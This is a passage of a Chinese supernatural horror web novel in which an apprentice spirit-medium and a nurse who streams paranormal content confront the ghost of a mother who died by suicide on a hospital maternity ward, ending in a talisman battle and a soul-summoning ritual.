“宋明夷，你去瞧瞧44床是什么情况。”护士长的一句话，让本就面色苍白的宋明夷脸色更加惨白如纸。
她呆坐在地上，愣神了好几秒钟，等确认护士长确实在看着自己后，她向前爬了几步，紧紧抱住护士长的大腿，撅着嘴巴，满脸委屈地哭了起来。
“我可不可以不去啊……我真的好害怕……朱姐……我不敢去……”宋明夷说着，便掩面痛哭起来。看着她瘦弱的肩膀一抽一抽的，着实令人心疼。
“你这……你哭什么啊……”
“我害怕……朱姐……我刚才真的看到有奇怪的鬼影在走廊里……”
“什么鬼影啊，全都是你的心理作用，这个世界上哪有什么鬼！”
“但是……但是……嘤嘤嘤……”宋明夷哭得更大声了，一把鼻涕一把眼泪，鼻子都擦红了，“44床不是那个跳楼的产妇的床位吗？是不是她回魂了？要跟我们索命啊？”
“说的什么傻话！”护士长不耐烦地打断了宋明夷，“那个病房虽然现在没人住，但又没有上锁，这肯定是哪个病人或者家属恶作剧的！再说了，又不是我们害得她跳楼的，她就算要报仇，也不应该缠着我们！”
护士长提高了音量，这句话看似是对宋明夷说的，但更多像是在自我安慰。
沈聆下意识地看了一眼走廊的方向，那原先出现鬼影的地方现在空空荡荡，只有被沿街灯光照亮的窗户在冰冷的地砖上投下“田”字形的光亮。
她感觉周围的温度降低了几分，不知为何，今天晚上发生的所有事情都不合常理。先是忽然播报的没有插电的检测仪，接着是传来鬼哭的对讲系统，最后便是她们看到的鬼影……
——难道说……
——44号床产妇的死，另有冤屈？
沈聆沉默着，回想起方才在对讲系统里听到的断断续续的声音，虽然字眼不多且模糊呜咽，但还是依稀能听到“报仇”“他们”之类的字眼。
她记得自己在新闻里看到过，产妇在刚生下孩子的第二天就跳楼了，而且从病房的监控视频来看，在跳楼之前，产妇没有任何犹豫，她像是忽然下定了某种决心，朝着窗户就走了过去，之后一跃而下，砸在警车上当场死亡。
——当场死亡……
——对了，我记得当时她砸在警察上，脑袋朝下，脑袋砸烂了，脖子也折断了……
——刚才的鬼影，脖子好像也是折断的样子……
想到这里，沈聆不由得感到一阵毛骨悚然，冰冷的恐惧后知后觉地出现，阴沉沉地浸满了她的心房，她只感觉呼出的气体都带着寒意，周围仿佛有许多眼睛在窥探着她。
但显然，护士长却并不相信这个世界上有鬼，她皱着眉头看着这个二十出头的小女孩抱着自己的腿哭着说害怕：“这不过是恶作剧而已，你这小姑娘，怎么吓成这样？”
“但是……但是刚才检测仪忽然自己启动了……而且播报了身高体重！”宋明夷伸出手指着几步之外的身高体重检测仪，“是真的！这个小姐姐当时和我在一起！她也听到了！”
宋明夷又指了指沈聆，护士长半信半疑地看向了沈聆，沈聆忙点了点头：“对，是真的，当时我也在，那个检测仪自己就启动了……后面我检查了，检测仪并没有插电，但是却测出了一组身高体重的数据，那个身高恰好就是死掉的产妇的身高……”
沈聆一脸真诚的表情，认真的眼神也看起来不像是在说谎。
“什么乱七八糟的！”护士长毫不在乎地挥了挥手，“这一定是哪个无聊家属的恶作剧！你们刚才听到的声音说不定是什么录音器的声音，提前录好声音然后藏在检测仪后面，让你们以为是检测仪的声音罢了，在你们吓得半死的时候，又跑到44床按铃……唉，得了得了！宋明夷你别哭了，吵得我头疼——你、还有你，你们俩就在这里给我待着，我自己去44床看看！”
护士长不耐烦地说着，扒开了还“挂”在自己腿上的宋明夷，整理了一下衣服，顺手拿起放在工作台上的记录本，就朝着44床病房的方向走去。
“……她一直是个唯物主义者吗？”沈聆看着护士长的背影好奇地问道。
“大概吧，我对她不了解，我来这里的时候，朱姐已经是护士长了，她在我们科室，那可是说一不二的一把手，所有人都得听她的话。”宋明夷说着，擦了擦鼻子，用粗糙的袖子抹去眼泪，扶着桌子站了起来，揉了揉自己的腰，她看起来像是完成了一次情感丰富的“即兴表演”。
看着宋明夷瞬间止哭的样子，沈聆错愕：“……宋明夷，你刚才不会是装的吧？”
“对啊。”小小夷理所当然地看着沈聆，听着护士长走远的脚步声，她压低了声音说道，“不然呢？难道真的要我去看看闹鬼的44床吗？我可不当大冤种！44床明显有问题！我才不去呢。今天晚上发生的事情还不够诡异吗？都够我编辑一期视频素材了！”
小小夷挤眉弄眼地说着，眼眸中带着几分小聪明得逞的洋洋得意。护士长的脚步声逐渐远去，在空旷的走廊里回荡，留下小小夷和沈聆在护士站里，周围又逐渐陷入了沉寂。
“你不怕护士长出事？你这是在拉‘替死鬼’啊。”
“她能出什么事？两百来斤的人，整天骂骂咧咧的，我告诉你，她这样的人，鬼看了都害怕！”宋明夷说着，从口袋里拿出了自己的手机，打开相册，检查起方才拍摄的视频来，嘴里还嘀嘀咕咕地说着，“有句话怎么说来着？对了，‘人怕凶，鬼怕恶’，见到恶人的话，就算是鬼也要绕道走的！你放心啦，朱姐不会有什么事情的，我感觉她自带BUFF护体，百毒不侵。”
小小夷一副小人得志的样子，完全与方才抱着护士长、可怜兮兮的样子判若两人。
沈聆不禁感叹，或许这就是成年人的世界吧，每个人都带着许多面具，你永远无法知道眼前正跟你说话的人，背后又是怎样一副面孔。
一念及此，沈聆下意识地看向了护士长的背影，身宽体胖的护士长已经走到了走廊另一头的某个病房的门前，她的影子被绿色的应急灯灯光拉长，在走廊中看起来晦涩难辨。
“咚咚咚”，只听见护士长敲了敲门，但病房内并没有人回应她，等待了三四秒钟后，她右手握住了冰冷的门把手，推门而入。
“吱呀……”
开门的声音与护士长的脚步声混合在一起，便是沈聆听到的走廊里最后的动静。
在护士长进入病房之后，并没有其他声音。
6楼产科，再一次陷入了静谧之中，就仿佛今天晚上发生的一切只不过是落入水中的一颗小石头，激起些微的涟漪后，水面再一次逐渐恢复了平静。
——看起来好像没什么事情。
没有尖叫声，也没有其他动静，这让沈聆稍稍放心了一点，她想着至少护士长应该不会出事，或许真的如宋明夷所说的，鬼也“欺软怕硬”，看到凶狠硬气的人，也会绕道而行。
又或者，这些打心底不相信鬼神的人，本身就阳气较盛，对阴魂自然有免疫效果。
“我来看看刚才的视频……说不定发出去又能吸收一波流量。”
这边，宋明夷点开了手机里方才拍摄的视频。在沈聆看到走廊鬼影的时候，她也眼疾手快地用手机摄像头拍下了这一幕——作为灵异主播的她，时刻绷紧了“搜集素材”的敏感神经，尤其是今天晚上，在跳楼产妇的医院值夜班，她早就做好了心理准备，要搞一起更劲爆的话题，续一续热度！
宋明夷点开视频的时候，沈聆也好奇地凑了上来。
两个小姑娘就瞪大了眼睛，看着手机视频里的画面——
视频画面刚开始有点儿模糊，镜头的视角是从沈聆的身后拍摄的，视角擦过沈聆的肩膀，恰好可以看到在幽暗的走廊尽头，有一个模糊的轮廓正站在窗户前面。那个轮廓是女人的轮廓，对方披散着头发，并且将脑袋歪着。
又过了一两秒后，只听见“咔嚓”一声，女人的头一下子掰折了一样，向右侧折断了90度！随后视频里传来了女孩子的叫声，窗前的影子也飞速朝着镜头掠了过来！
镜头摇晃了一下，模糊的鬼影从镜头前略过之后，视频便停止了拍摄。
“等等，我好像拍到了什么……”
宋明夷重复看了几遍视频，在最后1.5秒的时候，暂停了视频的播放画面。
在她暂停的画面中，沈聆看到，一个灰白色的影子从镜头的右上角
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略过，在一片模糊中，似乎有一个人脸的轮廓被扭曲放大。
“……我这里有她的照片！”宋明夷把手机递给沈聆，忙低下头在工作台上翻找了一番，随后，翻出了44号床跳楼产妇生前的病历本，“这里……有她的所有住院资料。”
宋明夷翻开了病历本，翻了几页之后，看到了产妇的住院资料，在住院资料上，附上了产妇本人的身份证复印件，而身份证上那个女人，恰好与视频截图中扭曲的鬼脸十分相似！
“你看！是不是一样？！”
宋明夷拿过沈聆手中的手机，将截图放在了证件照的旁边。两个人凑近了病历本仔细一看，从脸部轮廓、眉毛五官甚至到头发的长度，都如出一辙，除了视频截图比较模糊以及有所拉伸之外，几乎可以说就是同一张脸，只不过那张脸在视频中已经从脖子处扭转了90度，脖颈的折断让这张脸看起来更加扭曲。
沈聆和宋明夷对视了一眼，当下，两人都没有说话，一股莫名的寒意爬上了她们的脊梁。
半晌，沈聆抬起手，略带颤抖地指尖指了指长廊的方向：“……我们，要不要去看看护士长？我感觉她已经去了很久了。”
宋明夷咽了口唾沫：“不……不好吧，万一碰到什么‘不干净’的东西呢？”
她们的声音很轻，不知道为什么，像是怕被谁听到了对话一样，每一个字砸落在空气里都带着凝重感。
“宋明夷，是你哄骗护士长去的，你要负责。”
“什么叫‘哄骗’？我只是趋利避害而已！不要说得那么难听嘛！”宋明夷抗议，“而且我也是真的害怕啊，如果让你去，你敢去吗？就知道说风凉话！”
“但是……她已经进去一分钟了，还没出来，不会出什么事吧？”
宋明夷没好气地回答：“能出什么事啊，我给她打个电话就知道了。”
宋明夷说着，点开了手机的通讯录，从通讯录里找到了朱姐的联系方式。
她拨通了朱姐的手机号码，同时看了一眼沈聆，那眼神似乎在对沈聆说“我可不是什么无情无义的人”。
“嘟……嘟……”
奇怪的是，电话并没有及时接通。宋明夷听着电话那头的信号声，心里有点儿不安，但表面上还是倔强地不愿意露出慌张的神色。
宋明夷微微从护士站探出头，看向了走廊的方向，沈聆也顺着她的视线看去，但走廊那头，44号病房的门不知道什么时候关上了，那侧走廊并没有什么动静。
“嘟嘟嘟……”
第一次电话没有打通，宋明夷有点儿不安，却还在自我安慰：“没关系的，她可能手机调成静音了，没听到。”
沈聆蹙眉：“真的吗？”
“当然啦，她刚才不是在值班室睡觉吗？那肯定会调成静音啊，别大惊小怪。”
“我觉得我们还是过去看看吧……”沈聆说着就要去病房那边。
宋明夷见状，忙拉住了沈聆，央求道：“你等等！等我再打打看电话……实在不行我们再过去吧……”
她好像天生有种“撒娇”的本事，特别是配上可怜兮兮的表情，就连沈聆也不忍心拒绝。
看来，她是真的害怕。
沈聆叹了口气，看了看宋明夷手中的手机，示意她再打个电话。
“马上！马上！”宋明夷说着，再一次拨通了朱姐的电话。
“嘟……嘟……”
这一次，电话很快就接通了。
“喂？”电话那头，朱姐的声音有点儿疲惫。
“朱姐，你这么这么久才接电话啊？”
听到护士长的声音，宋明夷松了口气，看了一眼沈聆，眼眸中略感得意，似乎在说“看吧，我就说没问题的”，随后，她将电话按成了免提状态。
“朱姐，你不是去44床了吗？有看到什么恶作剧的人吗？”
“什么？”
“我说……你刚才不是去看看44床怎么个情况吗？那边怎么样啊？”宋明夷提高了声音。
“什么44床？宋明夷，你在胡说什么啊？今天晚上我儿子发烧了，我刚才不是发了消息跟你换下半夜的班？我儿子刚退烧，我忙前忙后的，现在还在家里没出门呢。”
13. 秦琴
“喂？宋明夷？你在听吗？”
免提外放的手机，电话另一头传来了朱姐略感疑惑的声音，但此刻，电话这头的沈聆和宋明夷早已经呆愣在原地，两人面面相觑、四目相对，脑袋里全都一片空白。
“怎、怎么可能呢？朱姐，你别开玩笑了，我、我刚才还看到你呢……”
宋明夷结结巴巴地说着，下意识地看向了自己周围，特别是方才朱姐站过的地方。
她低下头翻了翻手机微信的聊天页面，发现朱姐刚才的确给她发过上下夜班对换的消息，只不过当时她在前台趴着偷懒睡觉，就没有看手机。
“这……”
看着那条朱姐一个半小时前发来的消息，宋明夷如五雷轰顶一样站在原地，一时间不知道该作何反应。
电话念头传来朱姐的声音：“你看走眼了吧，我到现在都还没出门呢。”
“但是……但是……我刚才还看到你从值班室里出来呢！”
宋明夷说着，转身朝着几步之外的值班室走去，值班室在护士站的后侧，是值夜班的护士休息的地方，一般一个晚上会安排两个护士夜班，一个上半夜，一个下半夜，而轮到休息的护士就可以在值班室里稍作休息。
“吱呀……”
宋明夷一把推开了值班室的门，迎面感觉到一阵寒意，风吹开了她脸颊旁的发丝，她环顾了一圈四周，小小的值班室里靠墙放着四张上下铺床位，在床位上的被褥都叠得整整齐齐的，特别是靠窗的那个属于护士长的床位，被子更是叠成了豆腐块的样子，十分整齐，完全不像是一个睡到一半被吵醒的人会留下的床位。
“这……”宋明夷愣在原地，一时间不知道该作何反应，“不、不对啊，我明明……我刚才明明看到朱姐你从值班室里走出来……而且看起来刚被我们吵醒的样子……怎么……”
“你这是做梦了吧，宋明夷，唉，我儿子好像又烧起来了，我去给他测个体温，上半夜你帮我值一下，下半夜我再赶过去。”
“我……”
宋明夷慌乱中不知道该如何解释，今天晚上接二连三出现的事情，已经超出了她的认知范围，一个又一个的超自然现象发生，让她仿佛置身于洪流旋涡之中，她上下起伏，被玩弄于股掌之间，却又不知道该如何应对，一时间左右为难，进退失据。
就在这时，宋明夷感觉到有人拍了拍自己的肩膀，她回过神来，转头看去，发现是沈聆站在自己后面，她看了一眼宋明夷手中的手机，摇了摇头，谨慎且告诫的目光，告诉她不要告诉朱姐太多，今天晚上发生的事情不易声张。
宋明夷虽然惊讶，但人也还算激灵，她点了点头，忙敷衍了一下朱姐：“哦哦……没事了，应该是我做噩梦了吧，我最近看了好多恐怖电影，就喜欢胡思乱想来着……没事了朱姐，不好意思啊，你去忙吧，儿子比较重要，这里我看着。”
“行，你要是遇到处理不来的事情就给我打电话，我忙完家里的事情就赶过去。有几个产妇已经足月待产，你多留神着点。”
“好……好的。”
宋明夷胡乱应承着，护士长听着宋明夷的状态不是很好，她不放心，又在电话里交代了几句，这才挂断了电话。
“嘟……嘟……”
听到免提的电话中传来个通话中断的声音，沈聆这才敢出声说话。
“看来，你的朱姐今天晚上的确没有来。”
“但是……但是我们都看到的呀，刚才出现的那个朱姐……难道是鬼？”宋明夷压低了声音，瘦弱的身体因为害怕而微微发抖，但却又故作坚强支撑着自己的理智，但她本能地贴着沈聆站着的小动作，还是暴露了她内心的恐惧。
沈聆无声地将宋明夷的这些小动作都看在眼里，停顿了半晌后说道：“不好说，但是如果朱姐本人不是一个爱搞恶作剧的人的话，刚才我们看见的东西，还真有可能不是人。”
“那我们是不是要赶紧逃啊？这层楼闹鬼啊！”
“笨蛋，你觉得现在逃有用吗？鬼会跑不过你吗？”沈聆用手敲了敲宋明夷的脑袋瓜子，就像她的外婆曾经敲着她的脑袋瓜子一样，模仿外婆的语气，她语重心长地说，“而且，这层楼还有许多待产的孕妇，我们不能就这么把她们扔在这里，如果真的有厉鬼出没，产科的阴气这么重，她必然会伤及其他无辜的生命，我们得想个办法……”
“想个办法？你想做什么啊？”
“我在想……或许我们可以试着搞清楚，为什么这里会闹鬼，以及……”沈聆说着，双手环抱在胸前，侧过身看向了医院的走廊，“说不定我们可以试着帮她化解怨念。”
“哈？为什么我们要这么做？”
“说不定可以积阴鸷呢。”
“阴鸷是什么东西？”
“阴鸷就是阴德，当一个人做好事的时候，就会在无形中积累自己的阴德，无论是对自己的命数或是后世子孙，都是有利的。”沈聆宛如一个谆谆教诲的老师，细心交代，“虽然说，我们做好事不能出于这么功利化的目的，但是毕竟我们如果真的‘送走’了那个女鬼，也对这层楼的其他无辜的产妇有好处，我觉得我们应该试一试。”
宋明夷一愣：“你疯啦，你没看到刚才在走廊的那个鬼影吗？还有刚才出现的假朱姐？这……这明显不是普通的鬼啊，你多少道行啊，你就说大话想‘送走’她？！”
“不试一试怎么知道呢……”沈聆喃喃自语着，若有所思地走出了护士站的值班室。
其实，她也害怕。
不害怕那是不可能的，毕竟她也只是一个十九岁的姑娘，虽然从外婆那里接手了阴厨的传承，但她还是菜鸟入门级的学徒，如果遇到真正强大的厉鬼，她除了黑狗血能够保命之外，并没有其他底牌。
沈聆本能的感觉到这次的问题并不好处理，这一次在产科出现的鬼似乎瑞景路的鬼更厉害一点，她会化形，甚至会化成宋明夷熟悉的护士长的样子出现，从当时和护士长的接触来看，当真半分意识不到那并不是真人，可见那只鬼并不是普通的鬼。
外婆曾经说过，人死之后，灵魂会离开□□，但在离开□□之后，没有了□□作为灵魂的承载，灵魂是无处可去的，并且重量很轻，甚至一阵风就能够吹散，没有转生的鬼魂，或许会附着在一些能量、磁场比较弱的动物上，例如蝴蝶、蜻蜓等，再者，便是在暗无天日的角落凝结自身的能量，试图在天地之间存留较久，常见的便是久无人居的老房子出现闹鬼事件，或是凶宅这种本身凝结着较多怨念的地方，才能存留较久的鬼魂。
可当前沈聆她们遇到的鬼，显然比一般的鬼更厉害一点。
她甚至能够以活人的形式出现在她们面前，和她们对话，她可以是任何人的样子，也可以是走廊尽头的黑影，她的动作很快，一瞬间的功夫便能如烟雾一样闪现穿过她们，却又可以影响无生命物体的磁场，让没有差点的身高体重检测仪出现灵异事件。
——她一定有什么冤屈。
——如果不是强烈的恨意，一个人是不会这么干脆地跳楼自杀的，更不会在死后化为孤魂野鬼，徘徊不散。
——如果我能成功帮助这个可怜的女孩子，说不定我所积累的阴德会更多，沈凝的身体就会更快好起来……
沈聆这么想着，走到了护士站的工作台前，她低下头，方才宋明夷拿出的跳楼自杀的产妇的病历本还摊开在桌面上，自杀产妇的身份证复印件正面朝上，产妇的黑白照片里，那双无神的眼眸就这么静静注释着沈聆，不带任何温度一般，令人看着毛骨悚然。
她叫秦琴，2000年出
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生，但她的生命却戛然而止在2024年，她只有24岁，却陵川市平安医院生下了一个孩子，在这个年代，一般很少有这么早婚的人，她生孩子的事情，一定与她跳楼自杀的事情密不可分。
沈聆这么想着，翻看了一些秦琴的病历本，发现上面只要是签字的地方，都是秦琴一个人的签名，她的签名小小的，应该与她的性格有关，如果一个人平日里是小心谨慎的人，那么她的签名往往也很秀气，相反，如果一个人对自己极度自信，那么她的签名一般都很豪放。
而秦琴的签名里透露出的，是这个人的畏畏缩缩、小心谨慎。
宋明夷见沈聆在翻阅病历本，忙凑上来好奇地问道：“你在做什么呀？”
“这个秦琴……是未婚先孕吗？”
“你怎么知道？！你有看新闻？”
“没怎么看，但是我看病历本上全都是她一个人的签字，如果是正常结婚的女人来产检生产，病历本上至少应该有父亲的姓名才对，但是这个秦琴很奇怪，病历本上的签字只有她自己，分娩的签字也是她自己。”
宋明夷点了点头：“对，她是个比较特殊的病人，自从怀孕之后，她似乎就没有产检过，全市的医疗系统都共享电子病历和就诊记录，但是我们医院并没有查到她在其他妇产科医院有过产检记录，她几乎是……自从怀孕之后一次都没有产检过，直到分娩才被送来医院。”
“被送来医院？什么意思？”
宋明夷摇了摇头，叹了口气：“她被送来医院是因为出现了孕期出血的情况，被好心的路人在公厕里遇到，当时她流了很多血，已经昏迷了，在住院之后，没等我们联系上她的家人，她就急产了，生下的孩子没有足月、身体比较虚弱，被送入新生儿监护室，当天晚上她忽然跳楼自杀……一直到今天，新闻闹得这么大，她的家人都没有来医院。”
“这也太不负责任了！不知道孩子的爸爸是谁……到孩子出生都没有来看一眼……”
“对啊！我们产科的姐妹们都很生气，死掉的那个女孩子怪可怜的，抛弃她的一定是个渣男！”宋明夷愤愤不平地说着，对女孩子的同情以及对渣男的愤怒倒是冲淡了几分她内心的恐惧。
“她没有结婚吗？”
“从新闻上报道的情况来看，她没有结婚，但是目前也不知道她男朋友是谁，她在我们陵川市的职业技术学校读书，今年还在实习，不知道发生了什么事情，怀孕了，甚至我怀疑啊……那天路人在公厕遇到她大出血，也是因为她想自己在公厕生孩子……”
目前来看，秦琴的事情似乎疑点重重。
一个妙龄少女，不知道为何原因未婚先孕，而且没有产检，一直到要生孩子的时候才被路人在公厕发现……孩子的生父至今美美隐身，甚至秦琴的父母也没有出面管过自己的外孙……
——这一切太奇怪了。
——如果秦琴一开始就不打算要这个孩子，为什么会拖到快足月呢？
——如果秦琴是想要这个孩子的，为什么一次都没有产检过？
……
沈聆深思着，她的表情十分凝重，脸色也越来越难看。
宋明夷看着沈聆的表情，只感觉到周围的寒气似乎更重了一点，她用手擦了擦胳膊，用手肘顶了顶沈聆：“喂，你在想什么啊，表情这么难看？”
“我在想……如果要搞清楚这一切的原因，还是要直接去问问本人比较靠谱。”
“哈？”宋明夷一愣。
沈聆转头，看向了宋明夷：“你不是见过吗？我和亡魂对话的场面。”
“你的意思是……”
沈聆轻轻敲击了一下桌面上秦琴的病历本，声音里透着寒气，目光却看向了走廊另一头的深幽：“我的意思是……我想和秦琴说说话。”
14. 符咒
午夜，医院的走廊被一种诡异的寂静所笼罩，仿佛有一只无形的巨手，紧紧扼住了所有的声响。
沈聆与宋明夷悄然踮起脚尖，小心翼翼地朝着44号床的病房缓缓靠近。
她们的心跳声在这死寂之中清晰可闻，两人紧张地四处环视，严密戒备着周围的任何一丝动静。
此时已至凌晨一点，午夜的走廊尽显格外的冷清与萧索。空气中似乎凝结着刺骨的寒气，令人不寒而栗，一间间病房的门紧紧闭合，里面的待产妇们沉浸在熟睡之中，唯有偶尔传来的监护仪器的微弱声响，如幽灵的低语，打破了这份令人胆寒的宁静。
空气中浓烈的消毒水味弥漫开来，刺鼻的气息刺激着神经，绿色的应急指示灯与红色的时间屏的光芒相互交织，将两个女孩的身影拉得瘦长而扭曲，营造出一种阴森可怖的氛围。
“哒。哒。哒……”
沈聆走在前面，每一步都迈得极为谨慎，她肩上背着一个漆黑如墨的背包，里面装着祭魂所需之物，那是一直放在她电动车上的，方才刚从停车场取来。
宋明夷紧跟其后，从沈聆身后微微探出半个小脑袋，紧张地左右张望着，仿佛生怕从某个黑暗的角落突然蹿出一只狰狞恐怖的厉鬼，瞬间将她吞噬得无影无踪——尽管之前还嘴硬声称不怕鬼，但此刻却紧紧拉住沈聆的手，丝毫不敢放松，同时，另一只手握着手机，手机的摄像头功能开启着，将她所看到的一切尽数录下。
“我说……你要是害怕的话，你就留在护士站。”
沈聆转过头看了一眼身后的宋明夷，只见她圆圆的眼睛里满是惊恐害怕，但却还是倔强地咬着牙，不让自己退缩一步。
“我……我才不怕呢！我可是灵异主播！今天晚上一定有更劲爆的东西！我不想错过这样的画面！”
“说到这个……你今天晚上不用继续直播吗？我看别的主播一般都会抓住直播热度，继续吸引一波流量吧。”
宋明夷挠了挠头：“这个嘛……因为上一次直播的内容好像涉及到灵异事件，平台给了我一个警告，让我不要装神弄鬼，让我停播三天哈哈哈……”
——原来如此。
沈聆无奈地扯了扯嘴角,暗自想道。
——我还奇怪刚才怎么没见你开直播，原来是被官方停播了。
“那你还继续当灵异主播？不怕被封号吗？”
“那有什么！全网有好多灵异主播，不差我一个！”宋明夷拍了拍胸脯，“而且，我小小夷的名号已经打出去了，现在有好多网友关注我，官方也不敢随便封我的，只要我在下次直播的时候，在公屏上打上‘直播内容不涉及违禁题材，真假自行判断’之类的话就好了……”
的确，她已经用灵异直播吸引了这么多流量和关注，只有继续直播这方面的题材，才不会流失粉丝，这也是她目前最好的出路。
“说来也奇怪，刚才咱俩闹出这么大的动静，为什么那些产妇还能睡得那么死啊？”沈聆看着一间间紧闭的病房。
平安医院的所有病房，房门都是蓝色的，在门框的位置装着一个竖着的玻璃，从走廊能够稍微窥探到病房里的情况，这也是为了方便医护人员在查房的时候了解一下每间病房的病患情况。
此刻，当她们从一间间病房外走过的时候，并没有看到病房内的产妇们有什么特殊的动静——明明刚才宋明夷尖叫得那么大声，按道理，至少应该惊醒了几个房间比较近的产妇，但此刻产妇们的安静却让沈聆心下疑惑。
太安静了，这安静，不太合常理。
午夜的医院本就是极为安静的环境，此刻的尖叫声会被这安静的环境衬托得更加尖锐刺耳。
为什么这些产妇对这尖叫声无动于衷呢？
沈聆心下疑惑，但担心吓到身后的宋明夷，她还是没有问出这个问题，毕竟宋明夷也没办法解答这个问题，与其制造恐怖气氛，还不如就这么藏在心里。
该知道的答案，自然有该知道的时候会知道。
如此想着，沈聆和宋明夷已经来到了44号床的病房门前。
两人对视了一眼，默契地停下了脚步，一股紧张地气氛在周围蔓延开。
44号床的病房在走廊尽头，与她们方才看见鬼影的地方分别是走廊的两端。
病房的门紧闭着，沈聆稍稍侧身，靠近了一点，贴近了门框上的玻璃，试图透过玻璃看到一点病房里的情况。
她眯起眼睛，透过玻璃往房内看去。已经适应了黑暗的眼睛，依稀可以看到这间病房共有8张病床，左右各四个，所有病房的床帘都拉开着，门外的沈聆看到每一张床铺上都整齐地叠放着白色的被褥，病床的侧面是两个物品柜，但因为此刻病房没有住人，所有物品柜都没有放东西。
秦琴的病床，是44号，也就是左手边的第二张病床。
在沈聆定睛一看的时候，她忽然发现病床上似乎有一个模糊的浅白色的轮廓？
那个轮廓很模糊，就像是用透明的线条在空气中勾勒出来的形状一样，边缘有点儿模糊不清，如果不是深深凝视，很难发现！
而且，那形状，越看越像是此时正有一个人坐在44号床上，并微微抬起头看向左侧的窗户，月光洒下，她的轮廓在黑暗中若隐若现。
沈聆呼吸一顿，心跳仿佛漏了半拍。
她右手握住门把手，下意识地咬紧牙关，正犹豫着要不要推门而入。
但眼瞅着那个透明的轮廓似乎正在一点点凝结出更为清晰的形状，并且，更让人毛骨悚然的是，那个轮廓似乎正转向沈聆自己，就仿佛，原先坐在床上眺望窗外的病人此刻发现了正在门口窥探的她，并机械地扭过头看向了她……
忽然！一张鬼脸闪现在玻璃的另一侧！
那是个披头散发的女人！
头发遮挡住了她的小半张脸，露出她的左眼和惨白的皮肤，皮肤上爬满了黑色的血管，暗红色的血液顺着她的前额低落，混合着某些白色的液体，划过脸颊，滴落在病号服上。她睁大了血红色的
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眼睛，死死盯着玻璃另一侧的沈聆和宋明夷，张开的嘴巴里面，满是恶犬一样的獠牙！
“啊——”沈聆和宋明夷同时尖叫了一声，她们下意识地往后退去！
“砰。”
病房门板上的玻璃瞬间炸开，弹出的玻璃如雨点一样砸在沈聆和宋明夷身上。
两个女孩子跌落在地，脸颊被炸开的玻璃碎片划伤。
“沙……”
诡异的动静响起，沈聆睁开眼睛，发现44号病房里似乎正有一股黑色的气体正在凝结。
这团黑气仿佛有生命力一样，在几秒钟的时间里迅速膨胀，沈聆嗅到了空气中弥漫的血腥味，在黑气中，一张苍白的脸若隐若现，那正是秦琴的脸！
“叮当……”
右手的红绳上，银铃轻轻晃动，她知道这是恶鬼降临的信号！
银铃响，冤魂至。
在宋明夷被吓傻的时候，沈聆先一步反应过来。她转身在口袋里摸索着，希望找到那瓶外婆给的装着黑狗血的小瓶子。但就在她摸索到冰冷的瓶身、还来不及打开瓶口的时候，凝结着血腥味的黑气突然朝她们袭来！
“快来陪我！我不要一个人死在这里——”恶鬼咆哮着，高喊着，那声音尖锐而刺耳，黑气朝两个女孩子涌来。
“不要——”宋明夷双手护在胸前，蜷缩成一团，脑袋一片空白。
——不好！
就连沈聆也本能地闭上了眼睛，等待着被黑气撕碎。
可被撕碎的疼痛并没有如预期那般发生，“砰”的一声，沈聆听见了一声沉闷的声音，似乎有什么东西撞在了玻璃上。
她睁开眼睛，发现这袭来的黑气却并没有触碰到她们，此刻，她们眼前张开了一道金色的结界，屏障一样的结界将黑气挡在了外面，黑气因撞到了结界，反而被打散了许多。
“这是……”
沈聆转过头，发现宋明夷口袋里似乎有什么东西正在发光。
“？！”宋明夷也注意到了自己身上的光，她忙从口袋里一阵乱掏，拿出了一张皱巴巴的符咒。
而那金光，正是来自于这张符咒。
“该死！！”那团黑气中传来女人愤怒的尖叫声，她重新凝聚了空气中被打散的黑气，再一次朝着沈聆和宋明夷袭来！
“用符咒！”沈聆抓住宋明夷握着符咒的手腕，让符咒直面黑气！
“不要——”黑气中，女鬼爆发了一声惊呼。
沈聆看见那团黑气开始出现了丝丝白烟，就好像被符咒灼烧着，刺痛了自身。
“恶鬼退散！”沈聆大喝一声，从口袋里拿出放着黑狗血的瓶子，打开瓶口，将黑狗血洒向了黑气。
在接触到黑狗血那一刻，黑气像是被浇灭的火种一般，缓缓散去。
与此同时，在陵川市中山公园的长椅上，正仰躺在长椅上闭眼休息的道长像是感应到了什么，他睁开了眼睛，看着黑漆漆的天空，慢悠悠地说道：“哦……看来我的符咒，还是有点用的。”
15. 第二单业务
当那团如墨般的黑气缓缓消散之际，病房和走廊都陷入了平静，一切就像是从未发生过一样。
“让我来见见你吧，秦琴。”
沈聆说着，从身后背着的黑色背包里拿出了鎏金香炉、结魄灯和小镜子，按照外婆交代的步骤，先小心翼翼地点燃了结魄灯，那微弱的灯光在黑暗中摇曳着，仿佛在召唤着迷失的灵魂。随后依次放好香炉和镜子，并点燃了三炷香。
——上清香、唤生魂、见黄泉、听鬼音、受鬼托、请香祀，做祀品、祭亡魂、别离恨、转生安。
沈聆在内心默默过了一遍阴厨祭魂的步骤后，转头看了一眼宋明夷。
宋明夷会意，点了点头，往后退了几步，尽可能拉开与沈聆的距离，生怕发生意外。
沈聆点燃了三炷香，缓缓插入鎏金香炉，在清香点燃的瞬间，走廊里一股淡淡的味道便扩散开来，她在地上就地打坐，清香便围绕在她身边，氤氲着，如同一层神秘的面纱。
沈聆闭上眼睛，于口中默念——
“第44任阴厨沈聆，请见亡魂秦琴，天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
“叮当……”
下一刻，只听得右手手链上的银铃轻轻晃动了一下。
在清脆的铃铛声中，沈聆嗅到了一股莫名的血腥味，那味道刺鼻而浓烈，让人作呕，同时，她感觉到一股寒意从脚底升起，瞬间传遍全身，仿佛置身于冰窖之中。
银铃响，怨魂至！
随后，医院的走廊变得阴森恐怖起来——天花板、地砖的缝隙里都开始慢慢渗出暗红色的血，那些血液汇聚在一起，形成了一条暗红色的河流，这血河从楼道缓缓而来，发出汩汩的声响，仿佛是来自地狱的召唤，当血河流淌过坐在地上的沈聆和宋明夷的时候，像是感觉到了她们并非亡魂，在她们周围绕开后汇聚到了病房内，最后，从秦琴跳楼的窗口外溢，如同一条血红色的瀑布，让人胆战心惊。
黄泉开，血河现！
沈聆低下头，绕开自己的血河里有许多扭曲变形的人脸“随波逐流”，他们被血河裹挟着，像是在命运的洪流里身不由己的灵魂一样，痛苦、失落、悲伤、遗憾……他们表情不一，但几乎都是皱眉张口，有口难言。
那些人脸有老有少、有男有女，甚至有许多手与脚在血河里扑腾着，翻腾出浓郁的血腥味，那味道让人窒息，仿佛死亡的气息笼罩着整个空间。
